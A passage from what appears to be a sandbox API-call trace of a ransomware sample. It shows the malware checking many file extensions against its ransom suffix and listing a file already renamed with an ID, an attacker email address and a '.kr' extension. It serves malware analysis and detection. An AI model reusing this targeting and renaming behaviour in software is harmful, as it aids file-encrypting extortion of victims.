lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0086.861] lstrlenW (lpString=".asmx") returned 5 [0086.861] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0086.861] lstrlenW (lpString=".asp") returned 4 [0086.861] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0086.861] lstrlenW (lpString=".aspx") returned 5 [0086.861] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0086.861] lstrlenW (lpString=".asr") returned 4 [0086.861] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0086.861] lstrlenW (lpString=".asx") returned 4 [0086.861] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0086.861] lstrlenW (lpString=".avi") returned 4 [0086.861] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0086.861] lstrlenW (lpString=".avs") returned 4 [0086.861] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0086.861] lstrlenW (lpString=".backup") returned 7 [0086.861] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0086.861] lstrlenW (lpString=".bak") returned 4 [0086.861] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0086.861] lstrlenW (lpString=".bay") returned 4 [0086.861] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0086.861] lstrlenW (lpString=".bd") returned 3 [0086.861] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0086.861] lstrlenW (lpString=".bin") returned 4 [0086.861] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0086.861] lstrlenW (lpString=".bmp") returned 4 [0086.861] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0086.861] lstrlenW (lpString=".bz2") returned 4 [0086.861] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0086.862] lstrlenW (lpString=".c") returned 2 [0086.862] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0086.862] lstrlenW (lpString=".cdr") returned 4 [0086.862] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0086.862] lstrlenW (lpString=".cer") returned 4 [0086.862] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0086.862] lstrlenW (lpString=".cf") returned 3 [0086.862] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0086.862] lstrlenW (lpString=".cfc") returned 4 [0086.862] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0086.862] lstrlenW (lpString=".cfm") returned 4 [0086.862] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0086.862] lstrlenW (lpString=".cfml") returned 5 [0086.862] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0086.862] lstrlenW (lpString=".cfu") returned 4 [0086.862] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0086.862] lstrlenW (lpString=".chm") returned 4 [0086.862] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0086.862] lstrlenW (lpString=".cin") returned 4 [0086.862] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0086.862] lstrlenW (lpString=".class") returned 6 [0086.862] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0086.862] lstrlenW (lpString=".clx") returned 4 [0086.862] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0086.862] lstrlenW (lpString=".config") returned 7 [0086.862] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0086.862] lstrlenW (lpString=".cpp") returned 4 [0086.863] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".cr2") returned 4 [0086.863] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".crt") returned 4 [0086.863] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".crw") returned 4 [0086.863] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".cs") returned 3 [0086.863] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0086.863] lstrlenW (lpString=".css") returned 4 [0086.863] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".csv") returned 4 [0086.863] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".cub") returned 4 [0086.863] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".dae") returned 4 [0086.863] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".dat") returned 4 [0086.863] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".db") returned 3 [0086.863] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0086.863] lstrlenW (lpString=".dbf") returned 4 [0086.863] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".dbx") returned 4 [0086.863] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0086.863] lstrlenW (lpString=".dc3") returned 4 [0086.864] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0086.864] lstrlenW (lpString=".dcm") returned 4 [0086.864] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0086.864] lstrlenW (lpString=".dcr") returned 4 [0086.864] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0086.864] lstrlenW (lpString=".der") returned 4 [0086.864] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0086.864] lstrlenW (lpString=".dib") returned 4 [0086.864] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0086.864] lstrlenW (lpString=".dic") returned 4 [0086.864] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0086.864] lstrlenW (lpString=".dif") returned 4 [0086.864] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0086.864] lstrlenW (lpString=".divx") returned 5 [0086.864] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0086.864] lstrlenW (lpString=".djvu") returned 5 [0086.864] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0086.864] lstrlenW (lpString=".dng") returned 4 [0086.864] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0086.864] lstrlenW (lpString=".doc") returned 4 [0086.864] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0086.864] lstrlenW (lpString=".docm") returned 5 [0086.864] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0086.864] lstrlenW (lpString=".docx") returned 5 [0086.864] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0086.864] lstrlenW (lpString=".dot") returned 4 [0086.864] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0086.864] lstrlenW (lpString=".dotm") returned 5 [0086.865] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0086.865] lstrlenW (lpString=".dotx") returned 5 [0086.865] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0086.865] lstrlenW (lpString=".dpx") returned 4 [0086.865] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0086.865] lstrlenW (lpString=".dqy") returned 4 [0086.865] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0086.865] lstrlenW (lpString=".dsn") returned 4 [0086.865] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0086.865] lstrlenW (lpString=".dt") returned 3 [0086.865] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0086.865] lstrlenW (lpString=".dtd") returned 4 [0086.865] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0086.865] lstrlenW (lpString=".dwg") returned 4 [0086.865] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0086.865] lstrlenW (lpString=".dwt") returned 4 [0086.865] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0086.865] lstrlenW (lpString=".dx") returned 3 [0086.865] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0086.865] lstrlenW (lpString=".dxf") returned 4 [0086.865] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0086.865] lstrlenW (lpString=".edml") returned 5 [0086.865] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0086.865] lstrlenW (lpString=".efd") returned 4 [0086.865] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0086.865] lstrlenW (lpString=".elf") returned 4 [0086.865] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0086.866] lstrlenW (lpString=".emf") returned 4 [0086.866] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0086.866] lstrlenW (lpString=".emz") returned 4 [0086.866] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0086.866] lstrlenW (lpString=".epf") returned 4 [0086.866] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0086.866] lstrlenW (lpString=".eps") returned 4 [0086.866] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0086.866] lstrlenW (lpString=".epsf") returned 5 [0086.866] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0086.866] lstrlenW (lpString=".epsp") returned 5 [0086.866] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0086.866] lstrlenW (lpString=".erf") returned 4 [0086.866] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0086.866] lstrlenW (lpString=".exr") returned 4 [0086.866] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0086.866] lstrlenW (lpString=".f4v") returned 4 [0086.866] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0086.866] lstrlenW (lpString=".fido") returned 5 [0086.866] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0086.867] lstrlenW (lpString=".flm") returned 4 [0086.867] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".flv") returned 4 [0086.867] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".frm") returned 4 [0086.867] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".fxg") returned 4 [0086.867] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".geo") returned 4 [0086.867] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".gif") returned 4 [0086.867] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".grs") returned 4 [0086.867] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".gz") returned 3 [0086.867] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0086.867] lstrlenW (lpString=".h") returned 2 [0086.867] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0086.867] lstrlenW (lpString=".hdr") returned 4 [0086.867] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".hpp") returned 4 [0086.867] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".hta") returned 4 [0086.867] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".htc") returned 4 [0086.867] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0086.867] lstrlenW (lpString=".htm") returned 4 [0086.868] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0086.868] lstrlenW (lpString=".html") returned 5 [0086.868] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0086.868] lstrlenW (lpString=".icb") returned 4 [0086.868] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0086.868] lstrlenW (lpString=".ics") returned 4 [0086.868] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0086.868] lstrlenW (lpString=".iff") returned 4 [0086.868] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0086.868] lstrlenW (lpString=".inc") returned 4 [0086.868] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0086.868] lstrlenW (lpString=".indd") returned 5 [0086.868] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0086.868] lstrlenW (lpString=".ini") returned 4 [0086.868] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0086.868] lstrlenW (lpString=".iqy") returned 4 [0086.868] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0086.868] lstrlenW (lpString=".j2c") returned 4 [0086.868] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0086.868] lstrlenW (lpString=".j2k") returned 4 [0086.868] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0086.868] lstrlenW (lpString=".java") returned 5 [0086.868] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0086.868] lstrlenW (lpString=".jp2") returned 4 [0086.868] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0086.868] lstrlenW (lpString=".jpc") returned 4 [0086.869] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0086.869] lstrlenW (lpString=".jpe") returned 4 [0086.869] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0086.869] lstrlenW (lpString=".jpeg") returned 5 [0086.869] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0086.869] lstrlenW (lpString=".jpf") returned 4 [0086.869] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0086.869] lstrlenW (lpString=".jpg") returned 4 [0086.869] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0086.869] lstrlenW (lpString=".jpx") returned 4 [0086.869] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0086.869] lstrlenW (lpString=".js") returned 3 [0086.869] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0086.869] lstrlenW (lpString=".jsf") returned 4 [0086.869] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0086.869] lstrlenW (lpString=".json") returned 5 [0086.869] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0086.869] lstrlenW (lpString=".jsp") returned 4 [0086.869] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0086.869] lstrlenW (lpString=".kdc") returned 4 [0086.869] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0086.869] lstrlenW (lpString=".kmz") returned 4 [0086.869] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0086.869] lstrlenW (lpString=".kwm") returned 4 [0086.869] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0086.869] lstrlenW (lpString=".lasso") returned 6 [0086.869] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0086.869] lstrlenW (lpString=".lbi") returned 4 [0086.870] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".lgf") returned 4 [0086.870] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".lgp") returned 4 [0086.870] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".log") returned 4 [0086.870] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".m1v") returned 4 [0086.870] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".m4a") returned 4 [0086.870] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".m4v") returned 4 [0086.870] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".max") returned 4 [0086.870] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".md") returned 3 [0086.870] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0086.870] lstrlenW (lpString=".mda") returned 4 [0086.870] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".mdb") returned 4 [0086.870] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".mde") returned 4 [0086.870] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".mdf") returned 4 [0086.870] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0086.870] lstrlenW (lpString=".mdw") returned 4 [0086.871] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mef") returned 4 [0086.871] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mft") returned 4 [0086.871] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mfw") returned 4 [0086.871] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mht") returned 4 [0086.871] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mhtml") returned 6 [0086.871] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0086.871] lstrlenW (lpString=".mka") returned 4 [0086.871] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mkidx") returned 6 [0086.871] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0086.871] lstrlenW (lpString=".mkv") returned 4 [0086.871] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mos") returned 4 [0086.871] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mov") returned 4 [0086.871] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mp3") returned 4 [0086.871] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mp4") returned 4 [0086.871] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0086.871] lstrlenW (lpString=".mpeg") returned 5 [0086.871] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0086.872] lstrlenW (lpString=".mpg") returned 4 [0086.872] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".mpv") returned 4 [0086.872] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".mrw") returned 4 [0086.872] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".msg") returned 4 [0086.872] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".mxl") returned 4 [0086.872] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".myd") returned 4 [0086.872] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".myi") returned 4 [0086.872] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".nef") returned 4 [0086.872] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".nrw") returned 4 [0086.872] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".obj") returned 4 [0086.872] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".odb") returned 4 [0086.872] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".odc") returned 4 [0086.872] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".odm") returned 4 [0086.872] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0086.872] lstrlenW (lpString=".odp") returned 4 [0086.873] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".ods") returned 4 [0086.873] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".oft") returned 4 [0086.873] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".one") returned 4 [0086.873] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".onepkg") returned 7 [0086.873] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0086.873] lstrlenW (lpString=".onetoc2") returned 8 [0086.873] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0086.873] lstrlenW (lpString=".opt") returned 4 [0086.873] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".oqy") returned 4 [0086.873] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".orf") returned 4 [0086.873] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".p12") returned 4 [0086.873] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".p7b") returned 4 [0086.873] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".p7c") returned 4 [0086.873] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".pam") returned 4 [0086.873] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0086.873] lstrlenW (lpString=".pbm") returned 4 [0086.873] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pct") returned 4 [0086.874] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pcx") returned 4 [0086.874] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pdd") returned 4 [0086.874] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pdf") returned 4 [0086.874] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pdp") returned 4 [0086.874] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pef") returned 4 [0086.874] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pem") returned 4 [0086.874] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pff") returned 4 [0086.874] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pfm") returned 4 [0086.874] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pfx") returned 4 [0086.874] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".pgm") returned 4 [0086.874] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".php") returned 4 [0086.874] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0086.874] lstrlenW (lpString=".php3") returned 5 [0086.874] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0086.874] lstrlenW (lpString=".php4") returned 5 [0086.875] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0086.875] lstrlenW (lpString=".php5") returned 5 [0086.875] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0086.875] lstrlenW (lpString=".phtml") returned 6 [0086.875] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0086.875] lstrlenW (lpString=".pict") returned 5 [0086.875] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0086.875] lstrlenW (lpString=".pl") returned 3 [0086.875] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0086.875] lstrlenW (lpString=".pls") returned 4 [0086.875] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0086.875] lstrlenW (lpString=".pm") returned 3 [0086.875] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0086.875] lstrlenW (lpString=".png") returned 4 [0086.875] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0086.875] lstrlenW (lpString=".pnm") returned 4 [0086.875] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0086.875] lstrlenW (lpString=".pot") returned 4 [0086.875] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0086.875] lstrlenW (lpString=".potm") returned 5 [0086.875] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0086.875] lstrlenW (lpString=".potx") returned 5 [0086.875] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0086.875] lstrlenW (lpString=".ppa") returned 4 [0086.875] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0086.875] lstrlenW (lpString=".ppam") returned 5 [0086.876] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0086.876] lstrlenW (lpString=".ppm") returned 4 [0086.876] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0086.876] lstrlenW (lpString=".pps") returned 4 [0086.876] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0086.876] lstrlenW (lpString=".ppsm") returned 5 [0086.876] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0086.876] lstrlenW (lpString=".ppt") returned 4 [0086.876] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0086.876] lstrlenW (lpString=".pptm") returned 5 [0086.876] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0086.876] lstrlenW (lpString=".pptx") returned 5 [0086.876] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0086.876] lstrlenW (lpString=".prn") returned 4 [0086.876] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0086.876] lstrlenW (lpString=".ps") returned 3 [0086.877] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0086.877] lstrlenW (lpString=".psb") returned 4 [0086.877] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0086.877] lstrlenW (lpString=".psd") returned 4 [0086.877] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0086.877] lstrlenW (lpString=".pst") returned 4 [0086.877] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0086.877] lstrlenW (lpString=".ptx") returned 4 [0086.877] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0086.877] lstrlenW (lpString=".pub") returned 4 [0086.877] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0086.877] lstrlenW (lpString=".pwm") returned 4 [0086.877] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0086.877] lstrlenW (lpString=".pxr") returned 4 [0086.877] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0086.877] lstrlenW (lpString=".py") returned 3 [0086.877] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0086.877] lstrlenW (lpString=".qt") returned 3 [0086.877] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0086.877] lstrlenW (lpString=".r3d") returned 4 [0086.878] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0086.878] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6469438, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6469438, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0086.878] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0086.878] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, 